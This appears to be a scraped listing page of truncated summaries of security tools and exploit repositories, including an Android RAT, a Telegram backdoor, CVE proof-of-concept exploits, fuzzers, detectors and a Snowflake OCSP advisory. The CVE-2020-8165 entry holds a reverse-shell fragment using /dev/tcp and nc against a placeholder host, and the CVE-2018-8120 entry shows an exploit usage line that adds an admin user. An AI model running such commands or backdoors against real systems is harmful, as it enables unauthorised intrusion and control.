bluing

Bluing 为 hack 蓝牙而生的情报收集工具 English · 简体中文 %20%7C%20Kali%202022.4%20\x64%20%7C%20Kali%20NetHunter%202022.4%20\aarch64-brightgreen Bluing（前身为 bluescan）是一个主要基于 Python 实现的蓝牙情报收集工具。它可以帮助我们窥探蓝牙这种复杂协议的内部结构或是 hack 蓝牙设备。其主要特性如下： 安装 Bluing 部分依赖 Linux 官方的 BlueZ 蓝牙协议栈，因此它仅支持在 Linux 上运行。执行如下命令可安装依赖包：...

androrat

'm in progress internationalization, Welcome to join. Androrat Fork/Silent Edition Remote Administration Tool for Android Androrat is a client/server application developed in Java Android for the client-side and in Java/Swing for the Server. The name Androrat is a mix of Android and RAT Remote...

secator v0.43.3

The pentester's swiss knife. Features • Supported commands • Installation • Usage • Documentation • Join us on Discord ! secator is a task and workflow runner used for security assessments. It supports dozens of well-known security tools and it is designed to improve productivity for pentesters a...

CVE-2025-24893-PoC

免责申明： 本文所描述的漏洞及其复现步骤仅供网络安全研究与教育目的使用。任何人不得将本文提供的信息用于非法目的或未经授权的系统测试。 作者不对任何由于使用本文信息而导致的直接或间接损害承担责任。 如涉及侵权，请及时与我们联系，我们将尽快处理并删除相关内容。 使用方法： python CVE-2025-24893.py URL COMMAND...

CVE-2020-8165

CVE-2020-8165 Python Exploit This is code to exploit CVE-2020-8165 using Python3. This exploit works with rails & /dev/tcp/10.10.X.X/8989 0&1'" python3 exploit.py 10.10.10.X 8080 [email protected] password "nc 10.10.X.X 8989" Major Credits Original CVE details:...

CVE-2024-48990

CVE-2024-48990 — needrestart 本地权限提升 通过 PYTHONPATH 注入，针对 Ubuntu/Debian 系统上 needrestart /environ 继承进程的完整环境 ——包括 PYTHONPATH。一个无特权的本地用户可以利用这一点： 1. 将 PYTHONPATH 设置为包含恶意 importlib 包的目录 2. 保持一个 Python 进程运行，以便 needrestart 在扫描时发现它 3. 等待 needrestart 执行——它会以 root 身份加载攻击者的 importlib/init.py 受影响版本 包| 受影响| 已修复...

gitrob

Gitrob: Poniendo el Código Abierto en OSINT Gitrob es una herramienta para ayudar a encontrar información potencialmente sensible enviada a repositorios en GitLab o GitHub. Gitrob clonará repositorios pertenecientes a un usuario o grupo/organización hasta una profundidad configurable e iterará a...

CVE-2022-45299

CVE-2022-45299 Affected Library : webbrowser.rs before version 0.8.3 https://github.com/amodm/webbrowser-rs Summary: The library fails to validate that the provided input is actually an URL. An attacker in control of an unfiltered URL passed to webbrowser::openURL can, therefore, provide a local...

bothan

bothan تأكيد أن عنوان ip:port يستضيف Empire. دعم لاحق لأنظمة C2 أخرى. الاستخدام root@kitploit: Direct single query ❯❯ bothan -v localhost:8080 DEBU2020-01-19T20:25:02-05:00 Requesting... host="localhost:8080" INFO2020-01-19T20:25:02-05:00 SUCCESS host="http://localhost:8080" tool=empire Take a...

cve-2022-44268-detector

cve-2022-44268-detector - detecta PNGs maliciosos cve-2022-44268-detector es un programa en Go que consume PNGs e informa si parecen ser imágenes maliciosas generadas por un exploit para CVE-2022-44268, una vulnerabilidad de ImageMagick que permite a atacantes leer contenido arbitrario de archivo...

CVE-2019-19919

CVE-2019-19919 Vulnerabilidad de neutralización inadecuada de elementos especiales en la salida utilizada por un componente descendente 'Inyección' en Handlebars pip install requests packaging python handlebarsscanner.py pip install requests python handlebarsexploit.py Introduce la URL objetivo:...

bt2

bt2: Blaze Telegram 后门工具包 bt2 是一个基于 Python 的后门程序，以 IM 机器人形式存在，利用 Telegram 提供的基础设施和功能丰富的机器人 API，稍加改造其通信平台以充当 C&C 服务器。 依赖项 Telepot requests 安装 root@kitploit: $ sudo pip install telepot $ sudo pip install requests PS: Telepot 需要至少 requests 2.9.1 才能正常工作。 局限性 目前 shellcode 执行组件依赖于 ctypes，仅适用于 Windows 平...

filebuster

Filebuster An extremely fast and flexible web fuzzer What is it? Filebuster is a HTTP fuzzer / content discovery script with loads of features and built to be easy to use and fast! It uses one of the fastest HTTP classes in the world of PERL - Furl::HTTP. Also the thread modelling is optimized to...

CVE-2018-8120

CVE-2018-8120 Exploit de LPE para Windows del CVE-2018-8120 Compatible con x32 y x64. Probado en: Win7 x32, Win7 x64, Win2008 x32, Win2008 R2 x32, Win2008 R2 x64. Uso root@kitploit: CVE-2018-8120 exploit by @unamerhttps://github.com/unamer Usage: exp.exe command Example: exp.exe "net user admin...

marfil

Marfil Marfil is an extension of the Aircrack-ng suite, used to assess WiFi network security. It allows to split the work of performing long running dictionary attacks among many computers. Motivation The Aircrack-ng suite provides the aircrack-ng tool, which is a 802.11 WEP and WPA/WPA2-PSK key...

cve-2025-32463

cve-2025-32463 chroot sudo chroot Ejecuta el comando command en el directorio dir name seleccionado. Mecanismo de la vulnerabilidad Este problema se introdujo en sudo v1.9.14, una versión que actualizó el código de manejo de coincidencias cuando se utiliza la característica chroot. Este nuevo...

CVE-2017-5638

CVE-2017-5638 使用 Python 重写的 CVE-2017-5638 漏洞利用工具 使用方法： 确保系统中已安装 Python3。 运行 "python3 CVE-2017-5638.py URL -c COMMAND". URL 端点需要是一个 '.action' 文件。 在运行脚本之前，不要忘记提供参数。 使用示例： 未测试 此漏洞利用工具尚未在实验室环境中测试。如果您确定系统/服务器存在漏洞且该工具不起作用，请打开一个 issue 并告知我。 重要提示：...

CVE-2026-85525 Improper OCSP response validation in Snowflake drivers

Improper OCSP response validation in the Snowflake Python, Go, JDBC, and Node.js drivers allowed a revoked TLS certificate to be accepted as valid, because OCSP responses were not reliably bound to the certificate being validated and definitive verification failures were treated as transient. A...

EUVD-2026-70972

Improper OCSP response validation in the Snowflake Python, Go, JDBC, and Node.js drivers allowed a revoked TLS certificate to be accepted as valid, because OCSP responses were not reliably bound to the certificate being validated and definitive verification failures were treated as transient. A...

CVE-2026-85525

This CVE affects the Snowflake Python, Go, JDBC, and Node.js drivers . The root cause is improper OCSP response validation : OCSP responses were not reliably bound to the certificate being validated, and definitive verification failures were treated as transient errors rather than hard failures. ...